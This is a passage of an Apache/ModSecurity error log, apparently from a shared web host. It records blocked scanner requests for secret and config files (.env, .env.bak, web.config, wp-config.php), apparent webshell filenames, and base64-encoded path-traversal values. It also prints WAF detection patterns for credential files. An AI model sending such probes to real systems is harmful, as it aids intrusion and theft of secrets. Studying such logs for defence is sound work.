(111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.570954 2026] [proxy_http:error] [pid 531797:tid 532006] [client 91.92.42.86:36032] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.571814 2026] [security2:error] [pid 531797:tid 532110] [client 91.92.42.86:36038] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/web.config"] [unique_id "ai3w4MTA7b1mZrmcA-8NegAAAoM"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.577837 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:00.578090 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:00.607628 2026] [security2:error] [pid 531797:tid 532061] [client 91.92.42.86:36054] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env.bak"] [unique_id "ai3w4MTA7b1mZrmcA-8NfwAAAlM"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.611387 2026] [proxy:error] [pid 531155:tid 531377] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.611486 2026] [proxy_http:error] [pid 531155:tid 531377] [client 91.92.42.86:36048] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.612055 2026] [security2:error] [pid 531797:tid 532082] [client 91.92.42.86:36082] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NgQAAAmg"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.612549 2026] [proxy:error] [pid 531155:tid 531377] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.612594 2026] [proxy_http:error] [pid 531155:tid 531377] [client 91.92.42.86:36048] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.614003 2026] [proxy:error] [pid 531797:tid 532111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.614059 2026] [proxy_http:error] [pid 531797:tid 532111] [client 91.92.42.86:36062] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.614675 2026] [proxy:error] [pid 531797:tid 532111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.614717 2026] [proxy_http:error] [pid 531797:tid 532111] [client 91.92.42.86:36062] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.619440 2026] [proxy:error] [pid 531797:tid 532022] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.619517 2026] [proxy_http:error] [pid 531797:tid 532022] [client 91.92.42.86:36086] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.620405 2026] [proxy:error] [pid 531797:tid 532022] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.620460 2026] [proxy_http:error] [pid 531797:tid 532022] [client 91.92.42.86:36086] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.640428 2026] [security2:error] [pid 531155:tid 531304] [client 91.92.42.86:36106] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w4CmiP80klyS0NnroHwAAAR0"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.641987 2026] [security2:error] [pid 531797:tid 532024] [client 91.92.42.86:36114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NhAAAAjA"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.650937 2026] [security2:error] [pid 531155:tid 531302] [client 20.151.217.54:48621] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/h2a2ck.php"] [unique_id "ai3w4CmiP80klyS0NnroIAAAARs"] [Sat Jun 13 18:08:00.663726 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.17:42716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:00.664164 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.17:42716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:00.676436 2026] [security2:error] [pid 531155:tid 531285] [client 91.92.42.86:36142] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w4CmiP80klyS0NnroJAAAAQo"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.707849 2026] [security2:error] [pid 531797:tid 532050] [client 91.92.42.86:36014] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NiQAAAkg"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.846211 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82NA== [Sat Jun 13 18:08:00.846661 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82NA== [Sat Jun 13 18:08:00.869756 2026] [security2:error] [pid 531155:tid 531382] [client 91.92.42.86:36156] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4CmiP80klyS0NnroLwAAAWs"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.870734 2026] [security2:error] [pid 531797:tid 532122] [client 91.92.42.86:36160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NkgAAAo4"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.934661 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.92:53548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:00.934965 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.92:53548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:00.938941 2026] [security2:error] [pid 531155:tid 531297] [client 91.92.42.86:36256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4CmiP80klyS0NnroNgAAARY"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.957933 2026] [security2:error] [pid 531155:tid 531290] [client 91.92.42.86:36270] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4CmiP80klyS0NnroNwAAAQ8"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.958476 2026] [security2:error] [pid 531797:tid 532020] [client 91.92.42.86:36284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NowAAAiw"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.967023 2026] [security2:error] [pid 531797:tid 532033] [client 91.92.42.86:36290] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/web.config"] [unique_id "ai3w4MTA7b1mZrmcA-8NpgAAAjg"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.969399 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:08:00.969875 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:08:00.971247 2026] [security2:error] [pid 531797:tid 532012] [client 91.92.42.86:36318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web.config"] [unique_id "ai3w4MTA7b1mZrmcA-8NqQAAAiQ"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.978619 2026] [security2:error] [pid 531155:tid 531287] [client 91.92.42.86:58036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/.env"] [unique_id "ai3w4CmiP80klyS0NnroOQAAAQw"], referer: http://mail.guu.rog.mybluehost.me/.env [Sat Jun 13 18:08:01.002957 2026] [security2:error] [pid 531797:tid 532077] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/session/tests/session_module_name_variation1.phpt"] [unique_id "ai3w4MTA7b1mZrmcA-8NqwAAAmM"] [Sat Jun 13 18:08:01.036007 2026] [security2:error] [pid 531797:tid 531898] [remote 17.22.245.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NsAACgiI"] [Sat Jun 13 18:08:01.039086 2026] [security2:error] [pid 531797:tid 532127] [client 91.92.42.86:36204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NsgAAApI"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.057171 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.108:41319] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:01.057469 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.108:41319] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:01.062822 2026] [security2:error] [pid 531797:tid 531998] [client 91.92.42.86:36226] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NtgAAAhY"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.074800 2026] [security2:error] [pid 531797:tid 532037] [client 91.92.42.86:36220] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.bak"] [unique_id "ai3w4cTA7b1mZrmcA-8NuAAAAjw"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.079126 2026] [security2:error] [pid 531155:tid 531346] [client 91.92.42.86:36238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4SmiP80klyS0NnroPQAAAUc"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.106838 2026] [security2:error] [pid 531797:tid 532061] [client 91.92.42.86:36290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NuQAAAlM"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.110739 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:08:01.111018 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:08:01.111593 2026] [security2:error] [pid 531797:tid 532082] [client 91.92.42.86:36318] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NugAAAmg"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.242161 2026] [security2:error] [pid 531155:tid 531401] [client 191.233.234.186:44762] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/loxico93.php"] [unique_id "ai3w4SmiP80klyS0NnroQwAAAX4"] [Sat Jun 13 18:08:01.329824 2026] [security2:error] [pid 531155:tid 531289] [client 91.92.42.86:36328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env.bak"] [unique_id "ai3w4SmiP80klyS0NnroRAAAAQ4"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.365753 2026] [security2:error] [pid 531797:tid 532079] [client 20.9.67.71:64641] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/spire.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NyAAAAmU"] [Sat Jun 13 18:08:01.365759 2026] [security2:error] [pid 531797:tid 532004] [client 91.92.42.86:36220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NyQAAAhw"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.468225 2026] [security2:error] [pid 531155:tid 531353] [client 91.92.42.86:36328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4SmiP80klyS0NnroSQAAAU4"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:01.521721 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:08:01.522160 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:08:01.587958 2026] [security2:error] [pid 531797:tid 532018] [client 191.234.188.123:64596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ss.php"] [unique_id "ai3w4cTA7b1mZrmcA-8NzgAAAio"] [Sat Jun 13 18:08:01.623621 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 